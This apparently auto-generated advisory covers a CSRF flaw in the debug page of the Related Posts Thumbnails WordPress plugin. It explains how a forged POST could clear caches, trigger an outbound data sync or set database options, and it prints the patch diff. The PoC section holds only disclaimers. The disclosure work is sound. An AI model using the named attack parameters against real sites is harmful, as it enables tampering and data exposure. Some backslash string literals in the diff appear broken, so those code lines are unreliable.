Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24596: Related Posts Thumbnails Plugin for WordPress <= 4.3.2 – Cross-Site Request Forgery (related-posts-thumbnails)

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24596:
The Related Posts Thumbnails plugin for WordPress versions up to 4.3.2 contains a Cross-Site Request Forgery vulnerability in its debug interface. This vulnerability allows attackers to trick administrators into performing unauthorized actions via forged requests. The CVSS score of 4.3 reflects a medium severity issue requiring user interaction.

The root cause lies in missing nonce validation for POST requests in the debug interface at /related-posts-thumbnails/lib/wpb-sdk/views/wpb-debug.php. The vulnerable code processes four administrative actions without verifying request authenticity. Lines 56-58, 61-63, 66-68, and 71-73 in the original file handle ‘wpb_clear_api_cache’, ‘wpb_action’ with value ‘clear_updates_data’, ‘background_sync’, and ‘set_option_name’/’option_value’ parameters respectively. These actions execute privileged operations like clearing API cache, clearing update transients, syncing data externally, and setting database options.

Exploitation requires an attacker to craft a malicious webpage containing a forged POST request to the debug interface. The attacker must lure a logged-in administrator with ‘manage_options’ capability to visit this page. The payload would target the vulnerable endpoint at /wp-content/plugins/related-posts-thumbnails/lib/wpb-sdk/views/wpb-debug.php. Attack parameters include ‘wpb_clear_api_cache=true’ to clear API cache, ‘wpb_action=clear_updates_data’ to clear update transients, ‘background_sync=true’ to send sensitive data externally, or ‘set_option_name’ and ‘option_value’ to modify database options. No nonce parameter is required in the attack.

The patch adds comprehensive nonce validation through a new wpb_debug_verify_request() function. This function checks REQUEST_METHOD, user capability, and verifies a nonce parameter against specific actions. The patch inserts wp_nonce_field() calls in each form (lines 149, 156, 163, 170, 186) with unique actions: ‘wpb_debug_clear_cache’, ‘wpb_debug_clear_updates’, ‘wpb_debug_background_sync’, ‘wpb_debug_load_option’, and ‘wpb_debug_set_option’. Each POST handler now validates requests using wpb_debug_verify_request() before processing. The patch version increments from 4.3.2 to 4.3.3.

Successful exploitation allows attackers to disrupt plugin functionality by clearing API cache and update transients. Attackers can exfiltrate sensitive data including server paths, user information, authentication keys, and plugin telemetry data via the background sync action. The set_option_name parameter could potentially modify plugin configuration or disrupt operations, though the patched version restricts options to ‘wpb_’ prefix. These actions could lead to denial of service, information disclosure, or configuration manipulation.

Differential between vulnerable and patched code

Code Diff
--- a/related-posts-thumbnails/lib/wpb-sdk/views/wpb-debug.php
+++ b/related-posts-thumbnails/lib/wpb-sdk/views/wpb-debug.php
@@ -1,333 +1,483 @@
 <?php
-// Enqueue CSS file for admin debugging
-function enqueue_custom_styles()
-{
-    // Enqueue the debug.css file from your plugin's directory
-    wp_enqueue_style('custom-debug-style', plugins_url('admin/css/debug.css', __FILE__));
+/**
+ * WPB Debug view.
+ *
+ * HIGH RISK – Admin-only debug UI. Outputs sensitive data (keys, paths, user info).
+ * Only load when is_admin(), manage_options, and WPBRIGADE_SDK__DEV_MODE are satisfied.
+ *
+ * @package Related Posts Thumbnails
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
 }
-add_action('wp_enqueue_scripts', 'enqueue_custom_styles');

+if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
+	wp_die(
+		esc_html__( 'You do not have permission to access this page.', 'related-posts-thumbnails' ),
+		'',
+		array( 'response' => 403 )
+	);
+}

-$slug = get_option('wpb_sdk_module_slug');
-$id = get_option('wpb_sdk_module_id');
+if ( ! defined( 'WPBRIGADE_SDK__DEV_MODE' ) || true !== WPBRIGADE_SDK__DEV_MODE ) {
+	wp_die(
+		esc_html__( 'Debug mode is not enabled.', 'related-posts-thumbnails' ),
+		'',
+		array( 'response' => 403 )
+	);
+}

-// Initialize an array to store all plugins
-$all_plugins = [];
+/**
+ * Enqueue CSS file for admin debugging.
+ */
+function wpb_debug_enqueue_styles() {
+	wp_enqueue_style(
+		'custom-debug-style',
+		plugins_url( 'admin/css/debug.css', __FILE__ ),
+		array(),
+		defined( 'WP_WPBRIGADE_SDK_VERSION' ) ? WP_WPBRIGADE_SDK_VERSION : '1.0.0'
+	);
+}
+add_action( 'wp_enqueue_scripts', 'wpb_debug_enqueue_styles' );

-// Instantiate the Logger class
-$wpb = WPBRIGADE_Logger::instance($id, $slug, true);
-$Data = $wpb->get_logs_data($slug);
+/**
+ * Verify POST request: method, capability, and nonce for a given action.
+ *
+ * @param string $action Nonce action (e.g. 'wpb_debug_clear_cache').
+ * @return bool True if valid POST with valid nonce and capability.
+ */
+function wpb_debug_verify_request( $action ) {
+	if ( ! isset( $_SERVER['REQUEST_METHOD'] ) || 'POST' !== $_SERVER['REQUEST_METHOD'] ) {
+		return false;
+	}
+	if ( ! current_user_can( 'manage_options' ) ) {
+		return false;
+	}
+	if ( ! isset( $_POST['_wpnonce'] ) ) {
+		return false;
+	}
+	return (bool) wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), $action );
+}

-$plugin_path = $Data['product_info']['path'];
-$plugins = array_keys(get_plugins());
-$active_plugins = get_option('active_plugins', array());
-$sdk_path = WPBRIGADE_SDK_DIR;
+/**
+ * Mask a sensitive string (show last N chars, rest as bullets).
+ *
+ * @param string $value  Raw value.
+ * @param int    $visible Number of trailing characters to show.
+ * @return string Masked value.
+ */
+function wpb_debug_mask( $value, $visible = 4 ) {
+	if ( '' === (string) $value ) {
+		return '—';
+	}
+	$value = (string) $value;
+	$len   = strlen( $value );
+	if ( $len <= $visible ) {
+		return str_repeat( '•', $len );
+	}
+	return str_repeat( '•', $len - $visible ) . substr( $value, - $visible );
+}

-// Check if SDK path contains the slug
-$this_sdk_path = strstr($sdk_path, $slug);
-if ($this_sdk_path !== false) {
-    $this_sdk_path = '\' . ltrim($this_sdk_path, '\');
+/**
+ * Mask email for display (e.g. a***@***.com).
+ *
+ * @param string $email Email address.
+ * @return string Masked email.
+ */
+function wpb_debug_mask_email( $email ) {
+	if ( '' === (string) $email || ! is_email( $email ) ) {
+		return '—';
+	}
+	$parts = explode( '@', $email, 2 );
+	if ( 2 !== count( $parts ) ) {
+		return wpb_debug_mask( $email, 0 );
+	}
+	$local  = $parts[0];
+	$domain = $parts[1];
+	$local_display  = strlen( $local ) > 2 ? substr( $local, 0, 1 ) . str_repeat( '•', strlen( $local ) - 1 ) : '••';
+	$domain_display = strlen( $domain ) > 4 ? '•••' . substr( $domain, -4 ) : '••••';
+	return $local_display . '@' . $domain_display;
 }

-// Clear API cache if requested
-if (isset($_POST['wpb_clear_api_cache']) && $_POST['wpb_clear_api_cache'] === 'true') {
-    update_option('wpb_api_cache', null);
+/**
+ * Shorten path for display (show last two segments to avoid exposing full server path).
+ *
+ * @param string $path Full path.
+ * @return string Shortened path.
+ */
+function wpb_debug_mask_path( $path ) {
+	if ( '' === (string) $path ) {
+		return '—';
+	}
+	$path = str_replace( array( '\', '/' ), '/', (string) $path );
+	$parts = array_filter( explode( '/', $path ) );
+	$tail = array_slice( $parts, -2 );
+	return ( count( $parts ) > 2 ? '…/' : '' ) . implode( '/', $tail );
 }

-// Clear updates data if requested
-if (isset($_POST['wpb_action']) && $_POST['wpb_action'] === 'clear_updates_data') {
-    set_site_transient('update_plugins', null);
-    set_site_transient('update_themes', null);
+$slug              = get_option( 'wpb_sdk_module_slug' );
+$wpb_sdk_module_id = get_option( 'wpb_sdk_module_id' );
+
+$all_plugins = array();
+
+$wpb  = WPBRIGADE_Logger::instance( $wpb_sdk_module_id, $slug, true );
+$data = $wpb->get_logs_data( $slug );
+
+$plugin_path            = isset( $data['product_info']['path'] ) ? $data['product_info']['path'] : '';
+$installed_plugin_slugs = array_keys( get_plugins() );
+$active_plugins         = get_option( 'active_plugins', array() );
+$sdk_path               = WPBRIGADE_SDK_DIR;
+
+$this_sdk_path = strstr( $sdk_path, $slug );
+if ( false !== $this_sdk_path ) {
+	$this_sdk_path = '\' . ltrim( $this_sdk_path, '\' );
 }

-// Send logs data to external API if background sync is requested
-if (isset($_POST['background_sync']) && $_POST['background_sync'] === 'true') {
-    $response = wp_remote_post(
-        WPBRIGADE_SDK_API_ENDPOINT,
-        array(
-            'method'  => 'POST',
-            'body'    => $Data,
-            'timeout' => 5,
-            'headers' => array(),
-        )
-    );
+// Clear API cache.
+if ( isset( $_POST['wpb_clear_api_cache'] ) && 'true' === $_POST['wpb_clear_api_cache'] && wpb_debug_verify_request( 'wpb_debug_clear_cache' ) ) {
+	update_option( 'wpb_api_cache', null );
+}

-    if (is_wp_error($response)) {
-        error_log('Error sending data: ' . $response->get_error_message());
-    } else {
-        error_log('Log sent successfully' . wp_json_encode($Data));
-    }
+// Clear updates data.
+if ( isset( $_POST['wpb_action'] ) && 'clear_updates_data' === $_POST['wpb_action'] && wpb_debug_verify_request( 'wpb_debug_clear_updates' ) ) {
+	set_site_transient( 'update_plugins', null );
+	set_site_transient( 'update_themes', null );
 }

-// Function to set an option value in the database
-function custom_plugin_set_option($option_name, $option_value)
-{
-    update_option($option_name, $option_value);
+// Background sync.
+if ( isset( $_POST['background_sync'] ) && 'true' === $_POST['background_sync'] && wpb_debug_verify_request( 'wpb_debug_background_sync' ) ) {
+	$response = wp_remote_post(
+		WPBRIGADE_SDK_API_ENDPOINT,
+		array(
+			'method'  => 'POST',
+			'body'    => $data,
+			'timeout' => 5,
+			'headers' => array(),
+		)
+	);
+
+	if ( is_wp_error( $response ) ) {
+		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Debug view only.
+		error_log( 'Error sending data: ' . $response->get_error_message() );
+	} else {
+		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Debug view only.
+		error_log( 'Log sent successfully' . wp_json_encode( $data ) );
+	}
 }

-// Handle form submission to set option value
-if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value'])) {
-    $option_name = $_POST['set_option_name'];
-    $option_value = $_POST['option_value'];
+/** Option name prefix allowed for Set DB Option (strict whitelist by prefix). */
+define( 'WPB_DEBUG_OPTION_PREFIX', 'wpb_' );

-    custom_plugin_set_option($option_name, $option_value);
+/**
+ * Set an option value only if it is in the allowed prefix scope.
+ *
+ * @param string $option_name  Option name (must start with WPB_DEBUG_OPTION_PREFIX).
+ * @param mixed  $option_value Option value.
+ * @return bool True on success, false if not allowed.
+ */
+function wpb_debug_set_option( $option_name, $option_value ) {
+	if ( ! current_user_can( 'manage_options' ) ) {
+		return false;
+	}
+	$option_name = sanitize_text_field( $option_name );
+	if ( '' === $option_name || 0 !== strpos( $option_name, WPB_DEBUG_OPTION_PREFIX ) ) {
+		return false;
+	}
+	update_option( $option_name, $option_value );
+	return true;
+}

-    echo '<div id="success_message">Successfully set the option</div>';
+$wpb_debug_set_option_success   = false;
+$wpb_debug_set_option_submitted = false;
+if ( isset( $_POST['set_option_name'], $_POST['option_value'] ) && wpb_debug_verify_request( 'wpb_debug_set_option' ) ) {
+	$wpb_debug_set_option_submitted = true;
+	$option_name                    = sanitize_text_field( wp_unslash( $_POST['set_option_name'] ) );
+	$option_value                   = isset( $_POST['option_value'] ) ? sanitize_text_field( wp_unslash( $_POST['option_value'] ) ) : '';
+	$wpb_debug_set_option_success   = wpb_debug_set_option( $option_name, $option_value );
 }

-// Function to get an option value from the database
-function custom_plugin_get_option_value($option_name)
-{
-    return get_option($option_name);
+/**
+ * Get an option value from the database.
+ *
+ * @param string $option_name Option name.
+ * @return mixed Option value.
+ */
+function wpb_debug_get_option_value( $option_name ) {
+	return get_option( sanitize_text_field( $option_name ) );
 }

-// Handle form submission to load option value
-$option_value = '';
+$option_value   = '';
 $result_visible = false;
-
-if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['load_option_name'])) {
-    $option_name = $_POST['load_option_name'];
-    $option_value = custom_plugin_get_option_value($option_name);
-    $result_visible = true;
+if ( isset( $_POST['load_option_name'] ) && wpb_debug_verify_request( 'wpb_debug_load_option' ) ) {
+	$option_name    = sanitize_text_field( wp_unslash( $_POST['load_option_name'] ) );
+	$option_value   = wpb_debug_get_option_value( $option_name );
+	$result_visible = true;
 }
+
+$wpb_debug_msg_success = __( 'Successfully set the option.', 'related-posts-thumbnails' );
+$wpb_debug_msg_error   = __( 'Option not set. Name must start with wpb_.', 'related-posts-thumbnails' );
 ?>

-<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
+<h1>WPB Debug - SDK v.<?php echo esc_html( defined( 'WP_WPBRIGADE_SDK_VERSION' ) ? WP_WPBRIGADE_SDK_VERSION : '' ); ?></h1>

-<h1>WPB Debug - SDK v.<?php echo WP_WPBRIGADE_SDK_VERSION; ?></h1>
+<?php if ( $wpb_debug_set_option_submitted ) : ?>
+<div id="success_message" class="notice notice-<?php echo esc_attr( $wpb_debug_set_option_success ? 'success' : 'error' ); ?>" role="alert">
+	<p><?php echo esc_html( $wpb_debug_set_option_success ? $wpb_debug_msg_success : $wpb_debug_msg_error ); ?></p>
+</div>
+<?php endif; ?>
+
+<p class="notice notice-warning" style="margin: 1em 0;" role="alert">
+	<strong><?php esc_html_e( 'Admin-only debug page.', 'related-posts-thumbnails' ); ?></strong>
+	<?php esc_html_e( 'This page shows sensitive data (keys, paths, user info). Do not share screenshots or leave unattended.', 'related-posts-thumbnails' ); ?>
+</p>

-<h2>Actions</h2>
+<h2><?php esc_html_e( 'Actions', 'related-posts-thumbnails' ); ?></h2>
 <table>
-    <tbody>
-        <tr>
-            <td>
-                <!-- Clear API Cache -->
-                <form action="" method="POST">
-                    <input type="hidden" name="wpb_clear_api_cache" value="true">
-                    <button class="button button-primary">Clear API Cache</button>
-                </form>
-            </td>
-            <td>
-                <!-- Clear Updates Transients -->
-                <form action="" method="POST">
-                    <input type="hidden" name="wpb_action" value="clear_updates_data">
-                    <button class="button">Clear Updates Transients</button>
-                </form>
-            </td>
-            <td>
-                <!-- Sync Data with Server -->
-                <form action="" method="POST">
-                    <input type="hidden" name="background_sync" value="true">
-                    <button class="button button-primary">Sync Data From Server</button>
-                </form>
-            </td>
-            <td>
-                <!-- Load DB Option -->
-                <form method="post">
-                    <button type="button" class="button" id="show_input_button">Load DB Option</button>
-                    <div id="input_field" style="display: none;">
-                        <input type="text" name="load_option_name" id="option_name_input">
-                        <button type="submit" id="submit_option_button">Submit</button>
-                    </div>
-                </form>
-                <div id="result" <?php if (!$result_visible) echo 'style="display: none;"'; ?>>
-                    <?php
-                    if (is_array($option_value)) {
-                        echo 'Option Value: ' . implode(', ', $option_value);
-                    } else {
-                        echo 'Option Value: ' . $option_value;
-                    }
-                    ?>
-                    <button id="clear_result_button">✖</button>
-                </div>
-            </td>
-            <td>
-                <!-- Set DB Option -->
-                <button type="button" class="button" id="set_option_button">Set DB Option</button>
-                <form id="set_option_form" method="post" style="display: none; margin-right: 10px;">
-                    <div class="option-input-wrapper" style="display: inline-block;">
-                        <label for="option_name">Option Name:</label>
-                        <input type="text" name="set_option_name" id="option_name">
-                    </div>
-                    <div class="option-input-wrapper">
-                        <label for="option_value">Option Value:</label>
-                        <input type="text" name="option_value" id="option_value">
-                    </div>
-                    <button type="submit" id="submit_set_option_button">Set Option</button>
-                </form>
-            </td>
-        </tr>
-    </tbody>
+	<tbody>
+		<tr>
+			<td>
+				<!-- Clear API Cache -->
+				<form action="" method="POST">
+					<?php wp_nonce_field( 'wpb_debug_clear_cache' ); ?>
+					<input type="hidden" name="wpb_clear_api_cache" value="true">
+					<button class="button button-primary">Clear API Cache</button>
+				</form>
+			</td>
+			<td>
+				<!-- Clear Updates Transients -->
+				<form action="" method="POST">
+					<?php wp_nonce_field( 'wpb_debug_clear_updates' ); ?>
+					<input type="hidden" name="wpb_action" value="clear_updates_data">
+					<button class="button">Clear Updates Transients</button>
+				</form>
+			</td>
+			<td>
+				<!-- Sync Data with Server -->
+				<form action="" method="POST">
+					<?php wp_nonce_field( 'wpb_debug_background_sync' ); ?>
+					<input type="hidden" name="background_sync" value="true">
+					<button class="button button-primary">Sync Data From Server</button>
+				</form>
+			</td>
+			<td>
+				<!-- Load DB Option -->
+				<form method="post">
+					<?php wp_nonce_field( 'wpb_debug_load_option' ); ?>
+					<button type="button" class="button" id="show_input_button">Load DB Option</button>
+					<div id="input_field" style="display: none;">
+						<input type="text" name="load_option_name" id="option_name_input">
+						<button type="submit" id="submit_option_button">Submit</button>
+					</div>
+				</form>
+				<div id="result"
+				<?php
+				if ( ! $result_visible ) {
+					echo ' style="' . esc_attr( 'display: none;' ) . '"';
+				}
+				?>
+				>
+					<?php
+					if ( is_array( $option_value ) ) {
+						echo 'Option Value: ' . esc_html( implode( ', ', array_map( 'strval', $option_value ) ) );
+					} else {
+						echo 'Option Value: ' . esc_html( (string) $option_value );
+					}
+					?>
+					<button id="clear_result_button">✖</button>
+				</div>
+			</td>
+			<td>
+				<!-- Set DB Option (whitelist: wpb_ prefix only) -->
+				<button type="button" class="button" id="set_option_button"><?php esc_html_e( 'Set DB Option', 'related-posts-thumbnails' ); ?></button>
+				<form id="set_option_form" method="post" style="display: none; margin-right: 10px;">
+					<?php wp_nonce_field( 'wpb_debug_set_option' ); ?>
+					<div class="option-input-wrapper" style="display: inline-block;">
+						<label for="option_name"><?php esc_html_e( 'Option Name (must start with wpb_):', 'related-posts-thumbnails' ); ?></label>
+						<input type="text" name="set_option_name" id="option_name" placeholder="wpb_">
+					</div>
+					<div class="option-input-wrapper">
+						<label for="option_value">Option Value:</label>
+						<input type="text" name="option_value" id="option_value">
+					</div>
+					<button type="submit" id="submit_set_option_button">Set Option</button>
+				</form>
+			</td>
+		</tr>
+	</tbody>
 </table>

 <br>

 <table class="widefat">
-    <thead>
-        <tr>
-            <th>Key</th>
-            <th>Value</th>
-        </tr>
-    </thead>
-    <tbody>
-        <tr>
-            <td>WP_WPB__REMOTE_ADDR</td>
-            <td><?php echo $_SERVER['SERVER_ADDR']; ?></td>
-        </tr>
-        <tr class="alternate">
-            <td>WP_WPB__DIR</td>
-            <td><?php echo WPBRIGADE_SDK_DIR; ?></td>
-        </tr>
-        <tr class="alternate">
-            <td>wp_using_ext_object_cache()</td>
-            <td>false</td>
-        </tr>
-    </tbody>
+	<thead>
+		<tr>
+			<th>Key</th>
+			<th>Value</th>
+		</tr>
+	</thead>
+	<tbody>
+		<tr>
+			<td>WP_WPB__REMOTE_ADDR</td>
+			<td><?php echo esc_html( wpb_debug_mask( isset( $_SERVER['SERVER_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_ADDR'] ) ) : '', 6 ) ); ?></td>
+		</tr>
+		<tr class="alternate">
+			<td>WP_WPB__DIR</td>
+			<td><?php echo esc_html( wpb_debug_mask_path( WPBRIGADE_SDK_DIR ) ); ?></td>
+		</tr>
+		<tr class="alternate">
+			<td>wp_using_ext_object_cache()</td>
+			<td>false</td>
+		</tr>
+	</tbody>
 </table>

 <h2>SDK Versions</h2>
 <table id="wpb_sdks" class="widefat">
-    <thead>
-        <tr>
-            <th>Version</th>
-            <th>SDK Path</th>
-            <th>Module Path</th>
-            <th>Is Active</th>
-        </tr>
-    </thead>
-    <tbody>
-        <tr style="background: #E6FFE6; font-weight: bold">
-            <td><?php echo WP_WPBRIGADE_SDK_VERSION; ?></td>
-            <td><?php echo WPBRIGADE_SDK_DIR; ?></td>
-            <td><?php echo WPBRIGADE_PLUGIN_DIR; ?></td>
-            <td>Active</td>
-        </tr>
-    </tbody>
+	<thead>
+		<tr>
+			<th>Version</th>
+			<th>SDK Path</th>
+			<th>Module Path</th>
+			<th>Is Active</th>
+		</tr>
+	</thead>
+	<tbody>
+		<tr style="background: #E6FFE6; font-weight: bold">
+			<td><?php echo esc_html( defined( 'WP_WPBRIGADE_SDK_VERSION' ) ? WP_WPBRIGADE_SDK_VERSION : '' ); ?></td>
+			<td><?php echo esc_html( wpb_debug_mask_path( WPBRIGADE_SDK_DIR ) ); ?></td>
+			<td><?php echo esc_html( wpb_debug_mask_path( WPBRIGADE_PLUGIN_DIR ) ); ?></td>
+			<td>Active</td>
+		</tr>
+	</tbody>
 </table>

 <h2>Plugins</h2>
 <table id="wpb_sdks" class="widefat">
-    <thead>
-        <tr>
-            <th>ID</th>
-            <th>Slug</th>
-            <th>Version</th>
-            <th>Title</th>
-            <th>API</th>
-            <th>Telemetry State</th>
-            <th>Module Path</th>
-            <th>Public Key</th>
-            <th>Actions</th>
-        </tr>
-    </thead>
-    <tbody>
-        <tr>
-            <td><?php echo $id; ?></td>
-            <td><?php echo $Data['product_info']['slug']; ?></td>
-            <td><?php echo $Data['product_info']['version']; ?></td>
-            <td><?php echo $Data['product_info']['name']; ?></td>
-            <td></td>
-            <td></td>
-            <td><?php echo WPBRIGADE_PLUGIN_DIR ?></td>
-            <td><?php echo $Data['authentication']['public_key']; ?></td>
-            <td>
-                <button class="button" id="show-account-button" onclick="window.location.href = '<?php echo admin_url('admin.php?page=account'); ?>'">Account</button>
-            </td>
-        </tr>
-    </tbody>
+	<thead>
+		<tr>
+			<th>ID</th>
+			<th>Slug</th>
+			<th>Version</th>
+			<th>Title</th>
+			<th>API</th>
+			<th>Telemetry State</th>
+			<th>Module Path</th>
+			<th>Public Key</th>
+			<th>Actions</th>
+		</tr>
+	</thead>
+	<tbody>
+		<tr>
+			<td><?php echo esc_html( (string) $wpb_sdk_module_id ); ?></td>
+			<td><?php echo esc_html( isset( $data['product_info']['slug'] ) ? $data['product_info']['slug'] : '' ); ?></td>
+			<td><?php echo esc_html( isset( $data['product_info']['version'] ) ? $data['product_info']['version'] : '' ); ?></td>
+			<td><?php echo esc_html( isset( $data['product_info']['name'] ) ? $data['product_info']['name'] : '' ); ?></td>
+			<td></td>
+			<td></td>
+			<td><?php echo esc_html( wpb_debug_mask_path( WPBRIGADE_PLUGIN_DIR ) ); ?></td>
+			<td><?php echo esc_html( wpb_debug_mask( isset( $data['authentication']['public_key'] ) ? $data['authentication']['public_key'] : '', 4 ) ); ?></td>
+			<td>
+				<button class="button" id="show-account-button" onclick="window.location.href = '<?php echo esc_url( admin_url( 'admin.php?page=account' ) ); ?>'">Account</button>
+			</td>
+		</tr>
+	</tbody>
 </table>

 <h2>Plugins/Sites</h2>
 <table id="wpb_sdks" class="widefat">
-    <thead>
-        <tr>
-            <th>ID</th>
-            <th>Slug</th>
-            <th>User ID</th>
-            <th>License ID</th>
-            <th>Plan</th>
-            <th>Public Key</th>
-            <th>Secret Key</th>
-        </tr>
-    </thead>
-    <tbody>
-        <tr>
-            <td>3538</td>
-            <td><?php echo $Data['product_info']['slug']; ?></td>
-            <td></td>
-            <td></td>
-            <td></td>
-            <td><?php echo $Data['authentication']['public_key']; ?></td>
-            <td><?php echo $Data['authentication']['public_key']; ?></td>
-        </tr>
-    </tbody>
+	<thead>
+		<tr>
+			<th>ID</th>
+			<th>Slug</th>
+			<th>User ID</th>
+			<th>License ID</th>
+			<th>Plan</th>
+			<th>Public Key</th>
+			<th>Secret Key</th>
+		</tr>
+	</thead>
+	<tbody>
+		<tr>
+			<td>3538</td>
+			<td><?php echo esc_html( isset( $data['product_info']['slug'] ) ? $data['product_info']['slug'] : '' ); ?></td>
+			<td></td>
+			<td></td>
+			<td></td>
+			<td><?php echo esc_html( wpb_debug_mask( isset( $data['authentication']['public_key'] ) ? $data['authentication']['public_key'] : '', 4 ) ); ?></td>
+			<td><?php echo esc_html( wpb_debug_mask( isset( $data['authentication']['public_key'] ) ? $data['authentication']['public_key'] : '', 4 ) ); ?></td>
+		</tr>
+	</tbody>
 </table>

 <h2>Users</h2>
 <table id="wpb_users" class="widefat">
-    <thead>
-        <tr>
-            <th>ID</th>
-            <th>Name</th>
-            <th>Email</th>
-            <th>Verified</th>
-            <th>Public Key</th>
-            <th>Secret Key</th>
-        </tr>
-    </thead>
-    <tbody>
-        <tr>
-            <td>3538</td>
-            <td><?php echo $Data['user_info']['user_nickname']; ?></td>
-            <td><?php echo $Data['user_info']['user_email']; ?></td>
-            <td></td>
-            <td><?php echo $Data['authentication']['public_key']; ?></td>
-            <td><?php echo $Data['authentication']['public_key']; ?></td>
-        </tr>
-    </tbody>
+	<thead>
+		<tr>
+			<th>ID</th>
+			<th>Name</th>
+			<th>Email</th>
+			<th>Verified</th>
+			<th>Public Key</th>
+			<th>Secret Key</th>
+		</tr>
+	</thead>
+	<tbody>
+		<tr>
+			<td>3538</td>
+			<td><?php echo esc_html( isset( $data['user_info']['user_nickname'] ) ? $data['user_info']['user_nickname'] : '' ); ?></td>
+			<td><?php echo esc_html( wpb_debug_mask_email( isset( $data['user_info']['user_email'] ) ? $data['user_info']['user_email'] : '' ) ); ?></td>
+			<td></td>
+			<td><?php echo esc_html( wpb_debug_mask( isset( $data['authentication']['public_key'] ) ? $data['authentication']['public_key'] : '', 4 ) ); ?></td>
+			<td><?php echo esc_html( wpb_debug_mask( isset( $data['authentication']['public_key'] ) ? $data['authentication']['public_key'] : '', 4 ) ); ?></td>
+		</tr>
+	</tbody>
 </table>


 <!-- JavaScript code to show/hide input field -->
 <script>
-    // Load DB Option
-    document.getElementById('show_input_button').addEventListener('click', function() {
-        document.getElementById('input_field').style.display = 'block';
-    });
-
-    document.getElementById('submit_option_button').addEventListener('click', function() {
-        // Hide the input field
-        document.getElementById('input_field').style.display = 'none';
-        // Set the result container to be visible
-        document.getElementById('result').style.display = 'block';
-    });
-
-    document.getElementById('clear_result_button').addEventListener('click', function() {
-        // Hide the result container
-        document.getElementById('result').style.display = 'none';
-    });
-
-    // Set DB Option
-    document.getElementById('set_option_button').addEventListener('click', function() {
-        // Show the form
-        document.getElementById('set_option_form').style.display = 'block';
-    });
-
-    document.getElementById('set_option_form').addEventListener('submit', function(event) {
-        // Hide the form
-        document.getElementById('set_option_form').style.display = 'none';
-        // Get the option name and value from the form
-        var optionName = document.getElementById('option_name').value;
-        var optionValue = document.getElementById('option_value').value;
-    });
-
-    document.getElementById('submit_set_option_button').addEventListener('click', function() {
-        // Hide the input fields
-        document.getElementById('option_name').style.display = 'none';
-        document.getElementById('option_value').style.display = 'none';
-    });
-
-    setTimeout(function() {
-        document.getElementById('success_message').style.display = 'none';
-    }, 3000);
-</script>
 No newline at end of file
+	// Load DB Option
+	document.getElementById('show_input_button').addEventListener('click', function() {
+		document.getElementById('input_field').style.display = 'block';
+	});
+
+	document.getElementById('submit_option_button').addEventListener('click', function() {
+		// Hide the input field
+		document.getElementById('input_field').style.display = 'none';
+		// Set the result container to be visible
+		document.getElementById('result').style.display = 'block';
+	});
+
+	document.getElementById('clear_result_button').addEventListener('click', function() {
+		// Hide the result container
+		document.getElementById('result').style.display = 'none';
+	});
+
+	// Set DB Option
+	document.getElementById('set_option_button').addEventListener('click', function() {
+		// Show the form
+		document.getElementById('set_option_form').style.display = 'block';
+	});
+
+	document.getElementById('set_option_form').addEventListener('submit', function(event) {
+		// Hide the form
+		document.getElementById('set_option_form').style.display = 'none';
+		// Get the option name and value from the form
+		var optionName = document.getElementById('option_name').value;
+		var optionValue = document.getElementById('option_value').value;
+	});
+
+	document.getElementById('submit_set_option_button').addEventListener('click', function() {
+		// Hide the input fields
+		document.getElementById('option_name').style.display = 'none';
+		document.getElementById('option_value').style.display = 'none';
+	});
+
+	setTimeout(function() {
+		var el = document.getElementById('success_message');
+		if (el) {
+			el.style.display = 'none';
+		}
+	}, 3000);
+</script>
--- a/related-posts-thumbnails/related-posts-thumbnails.php
+++ b/related-posts-thumbnails/related-posts-thumbnails.php
@@ -3,14 +3,14 @@
  * Plugin Name:  Related Posts Thumbnails
  * Plugin URI:   https://wpbrigade.com/wordpress/plugins/related-posts/?utm_source=related-posts-lite&utm_medium=plugin-uri&utm_campaign=pro-upgrade-rp
  * Description:  Showing related posts thumbnails under the posts.
- * Version:      4.3.2
+ * Version:      4.3.3
  * Author:       WPBrigade
  * Author URI:   https://WPBrigade.com/?utm_source=related-posts-lite&utm_medium=author-link&utm_campaign=pro-upgrade-rp
  * GitHub Plugin URI: https://github.com/WPBrigade/related-posts-thumbnails
  */

 /*
-Copyright 2010 - 2025 WPBrigade.com
+Copyright 2010 - 2026 WPBrigade.com

 This product was first developed by Maria I Shaldybina and later on maintained and developed by Adnan (WPBrigade.com)

@@ -448,7 +448,7 @@
      */
     function constant()
     {
-        define('RELATED_POSTS_THUMBNAILS_VERSION', '4.3.2');
+        define('RELATED_POSTS_THUMBNAILS_VERSION', '4.3.3');
         define('RELATED_POSTS_THUMBNAILS_FEEDBACK_SERVER', 'https://wpbrigade.com/');
         define('RELATED_POSTS_THUMBNAILS_PLUGIN_DIR', plugin_dir_path(__FILE__));
     }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
